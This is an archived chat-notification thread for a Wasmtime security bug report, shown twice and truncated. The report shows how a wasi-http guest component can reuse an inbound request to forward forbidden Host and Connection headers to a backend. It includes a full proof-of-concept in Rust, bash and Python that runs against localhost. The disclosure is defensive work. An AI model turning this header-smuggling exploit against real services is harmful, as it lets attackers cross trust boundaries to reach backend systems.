Stream: git-wasmtime

Topic: wasmtime / issue #13801 p3 wasi-http forwards forbidden i...


view this post on Zulip Wasmtime GitHub notifications bot (Jul 02 2026 at 06:47):

sdjasj opened issue #13801:

Test Case

No upload is needed — the vulnerable workload is a p3 wasi-http service component that is built inline by the reproduction script in Steps to Reproduce. Its full source (≈40 lines) is shown first so the report is fully
self-contained:

// crates-style minimal p3 http service: forward the inbound request to a URL
// given in an `url` header, reusing the SAME request resource.
use test_programs::p3::{
    service::exports::wasi::http::handler::Guest as Handler,
    wasi::http::{
        client,
        types::{ErrorCode, Request, Response, Scheme},
    },
};

struct Component;

test_programs::p3::service::export!(Component);

impl Handler for Component {
    async fn handle(request: Request) -> Result<Response, ErrorCode> {
        // Read the destination URL from a request header, then **reuse** the
        // inbound `Request` resource (with all its original headers) as the
        // outbound request by only changing scheme/authority/path.
        let headers = request.get_headers().copy_all();
        let url = headers
            .iter()
            .find_map(|(name, value)| {
                (name == "url").then(|| core::str::from_utf8(value).ok()).flatten()
            })
            .ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?;

        let rest = url
            .strip_prefix("http://")
            .ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?;
        let (authority, path) = match rest.find('/') {
            Some(i) => (&rest[..i], &rest[i..]),
            None => (rest, "/"),
        };

        request.set_scheme(Some(&Scheme::Http)).unwrap();
        request.set_authority(Some(authority)).unwrap();
        request.set_path_with_query(Some(path)).unwrap();

        client::send(request).await
    }
}

fn main() {}

A guest cannot create Host / Connection / Transfer-Encoding headers
through the normal Fields API — HostFields::{from_list,set,append} reject
DEFAULT_FORBIDDEN_HEADERS (crates/wasi-http/src/lib.rs:76). The bug is that a
guest that receives a p3 incoming Request can reuse that same resource as
an outbound request, and the forbidden headers attached to the inbound request
cross the trust boundary into the outbound backend request.

Steps to Reproduce

Copy-paste the entire script below into a file (e.g. poc.sh) and run it
from a Wasmtime source checkout. It needs only cargo, rustc (with the
wasm32-wasip1 target), python3, and a C toolchain. It builds a tiny p3
service component inline, encodes it, starts wasmtime serve, sends an inbound
request carrying Host: victim.internal + Connection: close, and captures the
raw bytes that reach a local backend socket.

#!/usr/bin/env bash
set -euo pipefail

# Run from a Wasmtime source checkout, or: WASMTIME_ROOT=/path/to/wasmtime ./poc.sh
ROOT="${WASMTIME_ROOT:-$(pwd)}"
if [[ ! -d "$ROOT/crates/wasi-http" ]]; then
  echo "error: $ROOT is not a Wasmtime checkout (set WASMTIME_ROOT)" >&2
  exit 1
fi
cd "$ROOT"

WORK="$(mktemp -d "${TMPDIR:-/tmp}/wasmtime-p3-header-poc.XXXXXX")"
trap 'rm -rf "$WORK"' EXIT
COMPONENT_DIR="$WORK/component"
ENCODER_DIR="$WORK/encoder"
COMPONENT_WASM="$WORK/p3_host_forward_component.component.wasm"
mkdir -p "$COMPONENT_DIR/src" "$ENCODER_DIR/src"

# --- tiny p3 service component (source shown in Test Case) ---
cat > "$COMPONENT_DIR/Cargo.toml" <<EOF
[workspace]

[package]
name = "p3-host-forward-component"
version = "0.1.0"
edition = "2024"

[dependencies]
test-programs = { path = "$ROOT/crates/test-programs" }
EOF

cat > "$COMPONENT_DIR/src/main.rs" <<'EOF'
use test_programs::p3::{
    service::exports::wasi::http::handler::Guest as Handler,
    wasi::http::{
        client,
        types::{ErrorCode, Request, Response, Scheme},
    },
};

struct Component;

test_programs::p3::service::export!(Component);

impl Handler for Component {
    async fn handle(request: Request) -> Result<Response, ErrorCode> {
        let headers = request.get_headers().copy_all();
        let url = headers
            .iter()
            .find_map(|(name, value)| {
                (name == "url")
                    .then(|| core::str::from_utf8(value).ok())
                    .flatten()
            })
            .ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?;

        let rest = url
            .strip_prefix("http://")
            .ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?;
        let (authority, path) = match rest.find('/') {
            Some(i) => (&rest[..i], &rest[i..]),
            None => (rest, "/"),
        };

        request.set_scheme(Some(&Scheme::Http)).unwrap();
        request.set_authority(Some(authority)).unwrap();
        request.set_path_with_query(Some(path)).unwrap();

        client::send(request).await
    }
}

fn main() {}
EOF

# --- helper to encode the wasm module into a component ---
cat > "$ENCODER_DIR/Cargo.toml" <<EOF
[workspace]

[package]
name = "p3-host-forward-encoder"
version = "0.1.0"
edition = "2024"

[dependencies]
anyhow = "1"
wit-component = "0.251.0"
EOF

cat > "$ENCODER_DIR/src/main.rs" <<'EOF'
use anyhow::{Context, bail};
use std::{env, fs};
use wit_component::ComponentEncoder;

fn main() -> anyhow::Result<()> {
    let args = env::args().collect::<Vec<_>>();
    if args.len() != 4 {
        bail!("usage: {} <module.wasm> <adapter.wasm> <out.component.wasm>", args[0]);
    }
    let module = fs::read(&args[1]).with_context(|| format!("read {}", args[1]))?;
    let adapter = fs::read(&args[2]).with_context(|| format!("read {}", args[2]))?;
    let component = ComponentEncoder::default()
        .module(&module)?
        .validate(true)
        .adapter("wasi_snapshot_preview1", &adapter)?
        .encode()?;
    fs::write(&args[3], component).with_context(|| format!("write {}", args[3]))?;
    Ok(())
}
EOF

echo "[*] Building the p3 service component"
cargo build --manifest-path "$COMPONENT_DIR/Cargo.toml" --target wasm32-wasip1 >/dev/null

ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm 2>/dev/null | head -n1 || true)"
if [[ -z "$ADAPTER" ]]; then
  echo "[*] Reactor adapter not found; building test-programs artifacts once"
  cargo build -p test-programs-artifacts >/dev/null
  ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm | head -n1)"
fi

echo "[*] Encoding the component"
cargo run --manifest-path "$ENCODER_DIR/Cargo.toml" -- \
  "$COMPONENT_DIR/target/wasm32-wasip1/debug/p3-host-forward-component.wasm" \
  "$ADAPTER" \
  "$COMPONENT_WASM" >/dev/null

WASMTIME="$ROOT/target/debug/wasmtime"
if [[ ! -x "$WASMTIME" ]]; then
  WASMTIME="$ROOT/target/release/wasmtime"
fi
if [[ ! -x "$WASMTIME" ]]; then
  echo "[*] wasmtime binary not found; building target/debug/wasmtime"
  cargo build --bin wasmtime >/dev/null
  WASMTIME="$ROOT/target/debug/wasmtime"
fi

echo "[*] Running the network proof"
PYTHONWARNINGS=ignore python3 - "$ROOT" "$COMPONENT_WASM" "$WASMTIME" <<'PY'
import socket
import subprocess
import sys
import threading
import time
from pathlib import Path

root = Path(sys.argv[1])
component = Path(sys.argv[2])
wasmtime = Path(sys.argv[3])

capture = {}
ready = threading.Event()

def backend():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("127.0.0.1", 0))
    srv.listen(1)
    capture["backend_port"] = srv.getsockname()[1]
    ready.set()
    conn, _ = srv.accept()
    data = b""
    conn.settimeout(5)
    while b"\r\n\r\n" not in data:
        chunk = conn.recv(4096)
        if not chunk:
            break
        data += chunk
    capture["raw"] = data
    conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK")
    conn.close()
    srv.close()

threading.Thread(target=backend, daemon=True).start()
if not ready.wait(5):
    raise SystemExit("backend did not start")
backend_port = capture["backend_port"]

s = socket.socket()
s.bind(("127.0.0.1", 0))
serve_port = s.getsockname()[1]
s.close()

serve = subprocess.Popen(
    [
        str(wasmtime),
        "serve",
        "-S",
        "cli",
        "--addr",
        f"127.0.0.1:{serve_port}",
        str(component),
    ],
    cwd=str(root),
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT,
    text=True,
)

try:
    deadline = time.time() + 20
    while time.time() < deadline:
        try:
            c = socket.create_connection(("127.0.0.1", serve_port), timeout=0.2)
            c.close()
            break
        except OSError:
            if serve.poll() is not None:
                out = serve.stdout.read() if serve.stdout else ""
                raise SystemExit(f"wasmtime exited early:\n{out}")
            time.sleep(0.1)
    else:
        raise SystemExit("wasmtime serve did not start")

    inbound = (
        f"GET /trigger HTTP/1.1\r\n"
        f"Host: victim.internal\r\n"
        f"Connection: close\r\n"
        f"url: http://127.0.0.1:{backend_port}/forwarded\r\n"
        f"\r\n"
    ).encode()
    c = socket.create_connection(("127.0.0.1", serve_port), timeout=5)
    c.sendall(inbound)
    c.settimeout(5)
    while True:
        try:
            chunk = c.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
    c.close()

    raw = capture.get("raw", b"")
    text = raw.decode("latin1", "replace")
    print("----- backend raw request -----")
    print(text)
    print("----- verification -----")
    host_lines = [l for l in text.split("\r\n") if l.lower().startswith("host:")]
    conn_lines = [l for l in text.split("\r\n") if l.lower().startswith("connection:")]
    print("host lines:", host_lines)
    print("
[message truncated]

view this post on Zulip Wasmtime GitHub notifications bot (Jul 02 2026 at 06:47):

sdjasj added the bug label to Issue #13801.

view this post on Zulip Wasmtime GitHub notifications bot (Jul 02 2026 at 16:17):

fitzgen added the wasi-http label to Issue #13801.

view this post on Zulip Wasmtime GitHub notifications bot (Jul 07 2026 at 16:28):

alexcrichton closed issue #13801:

Test Case

No upload is needed — the vulnerable workload is a p3 wasi-http service component that is built inline by the reproduction script in Steps to Reproduce. Its full source (≈40 lines) is shown first so the report is fully
self-contained:

// crates-style minimal p3 http service: forward the inbound request to a URL
// given in an `url` header, reusing the SAME request resource.
use test_programs::p3::{
    service::exports::wasi::http::handler::Guest as Handler,
    wasi::http::{
        client,
        types::{ErrorCode, Request, Response, Scheme},
    },
};

struct Component;

test_programs::p3::service::export!(Component);

impl Handler for Component {
    async fn handle(request: Request) -> Result<Response, ErrorCode> {
        // Read the destination URL from a request header, then **reuse** the
        // inbound `Request` resource (with all its original headers) as the
        // outbound request by only changing scheme/authority/path.
        let headers = request.get_headers().copy_all();
        let url = headers
            .iter()
            .find_map(|(name, value)| {
                (name == "url").then(|| core::str::from_utf8(value).ok()).flatten()
            })
            .ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?;

        let rest = url
            .strip_prefix("http://")
            .ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?;
        let (authority, path) = match rest.find('/') {
            Some(i) => (&rest[..i], &rest[i..]),
            None => (rest, "/"),
        };

        request.set_scheme(Some(&Scheme::Http)).unwrap();
        request.set_authority(Some(authority)).unwrap();
        request.set_path_with_query(Some(path)).unwrap();

        client::send(request).await
    }
}

fn main() {}

A guest cannot create Host / Connection / Transfer-Encoding headers
through the normal Fields API — HostFields::{from_list,set,append} reject
DEFAULT_FORBIDDEN_HEADERS (crates/wasi-http/src/lib.rs:76). The bug is that a
guest that receives a p3 incoming Request can reuse that same resource as
an outbound request, and the forbidden headers attached to the inbound request
cross the trust boundary into the outbound backend request.

Steps to Reproduce

Copy-paste the entire script below into a file (e.g. poc.sh) and run it
from a Wasmtime source checkout. It needs only cargo, rustc (with the
wasm32-wasip1 target), python3, and a C toolchain. It builds a tiny p3
service component inline, encodes it, starts wasmtime serve, sends an inbound
request carrying Host: victim.internal + Connection: close, and captures the
raw bytes that reach a local backend socket.

#!/usr/bin/env bash
set -euo pipefail

# Run from a Wasmtime source checkout, or: WASMTIME_ROOT=/path/to/wasmtime ./poc.sh
ROOT="${WASMTIME_ROOT:-$(pwd)}"
if [[ ! -d "$ROOT/crates/wasi-http" ]]; then
  echo "error: $ROOT is not a Wasmtime checkout (set WASMTIME_ROOT)" >&2
  exit 1
fi
cd "$ROOT"

WORK="$(mktemp -d "${TMPDIR:-/tmp}/wasmtime-p3-header-poc.XXXXXX")"
trap 'rm -rf "$WORK"' EXIT
COMPONENT_DIR="$WORK/component"
ENCODER_DIR="$WORK/encoder"
COMPONENT_WASM="$WORK/p3_host_forward_component.component.wasm"
mkdir -p "$COMPONENT_DIR/src" "$ENCODER_DIR/src"

# --- tiny p3 service component (source shown in Test Case) ---
cat > "$COMPONENT_DIR/Cargo.toml" <<EOF
[workspace]

[package]
name = "p3-host-forward-component"
version = "0.1.0"
edition = "2024"

[dependencies]
test-programs = { path = "$ROOT/crates/test-programs" }
EOF

cat > "$COMPONENT_DIR/src/main.rs" <<'EOF'
use test_programs::p3::{
    service::exports::wasi::http::handler::Guest as Handler,
    wasi::http::{
        client,
        types::{ErrorCode, Request, Response, Scheme},
    },
};

struct Component;

test_programs::p3::service::export!(Component);

impl Handler for Component {
    async fn handle(request: Request) -> Result<Response, ErrorCode> {
        let headers = request.get_headers().copy_all();
        let url = headers
            .iter()
            .find_map(|(name, value)| {
                (name == "url")
                    .then(|| core::str::from_utf8(value).ok())
                    .flatten()
            })
            .ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?;

        let rest = url
            .strip_prefix("http://")
            .ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?;
        let (authority, path) = match rest.find('/') {
            Some(i) => (&rest[..i], &rest[i..]),
            None => (rest, "/"),
        };

        request.set_scheme(Some(&Scheme::Http)).unwrap();
        request.set_authority(Some(authority)).unwrap();
        request.set_path_with_query(Some(path)).unwrap();

        client::send(request).await
    }
}

fn main() {}
EOF

# --- helper to encode the wasm module into a component ---
cat > "$ENCODER_DIR/Cargo.toml" <<EOF
[workspace]

[package]
name = "p3-host-forward-encoder"
version = "0.1.0"
edition = "2024"

[dependencies]
anyhow = "1"
wit-component = "0.251.0"
EOF

cat > "$ENCODER_DIR/src/main.rs" <<'EOF'
use anyhow::{Context, bail};
use std::{env, fs};
use wit_component::ComponentEncoder;

fn main() -> anyhow::Result<()> {
    let args = env::args().collect::<Vec<_>>();
    if args.len() != 4 {
        bail!("usage: {} <module.wasm> <adapter.wasm> <out.component.wasm>", args[0]);
    }
    let module = fs::read(&args[1]).with_context(|| format!("read {}", args[1]))?;
    let adapter = fs::read(&args[2]).with_context(|| format!("read {}", args[2]))?;
    let component = ComponentEncoder::default()
        .module(&module)?
        .validate(true)
        .adapter("wasi_snapshot_preview1", &adapter)?
        .encode()?;
    fs::write(&args[3], component).with_context(|| format!("write {}", args[3]))?;
    Ok(())
}
EOF

echo "[*] Building the p3 service component"
cargo build --manifest-path "$COMPONENT_DIR/Cargo.toml" --target wasm32-wasip1 >/dev/null

ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm 2>/dev/null | head -n1 || true)"
if [[ -z "$ADAPTER" ]]; then
  echo "[*] Reactor adapter not found; building test-programs artifacts once"
  cargo build -p test-programs-artifacts >/dev/null
  ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm | head -n1)"
fi

echo "[*] Encoding the component"
cargo run --manifest-path "$ENCODER_DIR/Cargo.toml" -- \
  "$COMPONENT_DIR/target/wasm32-wasip1/debug/p3-host-forward-component.wasm" \
  "$ADAPTER" \
  "$COMPONENT_WASM" >/dev/null

WASMTIME="$ROOT/target/debug/wasmtime"
if [[ ! -x "$WASMTIME" ]]; then
  WASMTIME="$ROOT/target/release/wasmtime"
fi
if [[ ! -x "$WASMTIME" ]]; then
  echo "[*] wasmtime binary not found; building target/debug/wasmtime"
  cargo build --bin wasmtime >/dev/null
  WASMTIME="$ROOT/target/debug/wasmtime"
fi

echo "[*] Running the network proof"
PYTHONWARNINGS=ignore python3 - "$ROOT" "$COMPONENT_WASM" "$WASMTIME" <<'PY'
import socket
import subprocess
import sys
import threading
import time
from pathlib import Path

root = Path(sys.argv[1])
component = Path(sys.argv[2])
wasmtime = Path(sys.argv[3])

capture = {}
ready = threading.Event()

def backend():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("127.0.0.1", 0))
    srv.listen(1)
    capture["backend_port"] = srv.getsockname()[1]
    ready.set()
    conn, _ = srv.accept()
    data = b""
    conn.settimeout(5)
    while b"\r\n\r\n" not in data:
        chunk = conn.recv(4096)
        if not chunk:
            break
        data += chunk
    capture["raw"] = data
    conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK")
    conn.close()
    srv.close()

threading.Thread(target=backend, daemon=True).start()
if not ready.wait(5):
    raise SystemExit("backend did not start")
backend_port = capture["backend_port"]

s = socket.socket()
s.bind(("127.0.0.1", 0))
serve_port = s.getsockname()[1]
s.close()

serve = subprocess.Popen(
    [
        str(wasmtime),
        "serve",
        "-S",
        "cli",
        "--addr",
        f"127.0.0.1:{serve_port}",
        str(component),
    ],
    cwd=str(root),
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT,
    text=True,
)

try:
    deadline = time.time() + 20
    while time.time() < deadline:
        try:
            c = socket.create_connection(("127.0.0.1", serve_port), timeout=0.2)
            c.close()
            break
        except OSError:
            if serve.poll() is not None:
                out = serve.stdout.read() if serve.stdout else ""
                raise SystemExit(f"wasmtime exited early:\n{out}")
            time.sleep(0.1)
    else:
        raise SystemExit("wasmtime serve did not start")

    inbound = (
        f"GET /trigger HTTP/1.1\r\n"
        f"Host: victim.internal\r\n"
        f"Connection: close\r\n"
        f"url: http://127.0.0.1:{backend_port}/forwarded\r\n"
        f"\r\n"
    ).encode()
    c = socket.create_connection(("127.0.0.1", serve_port), timeout=5)
    c.sendall(inbound)
    c.settimeout(5)
    while True:
        try:
            chunk = c.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
    c.close()

    raw = capture.get("raw", b"")
    text = raw.decode("latin1", "replace")
    print("----- backend raw request -----")
    print(text)
    print("----- verification -----")
    host_lines = [l for l in text.split("\r\n") if l.lower().startswith("host:")]
    conn_lines = [l for l in text.split("\r\n") if l.lower().startswith("connection:")]
    print("host lines:", host_lines)
    p
[message truncated]


Last updated: Jul 29 2026 at 05:03 UTC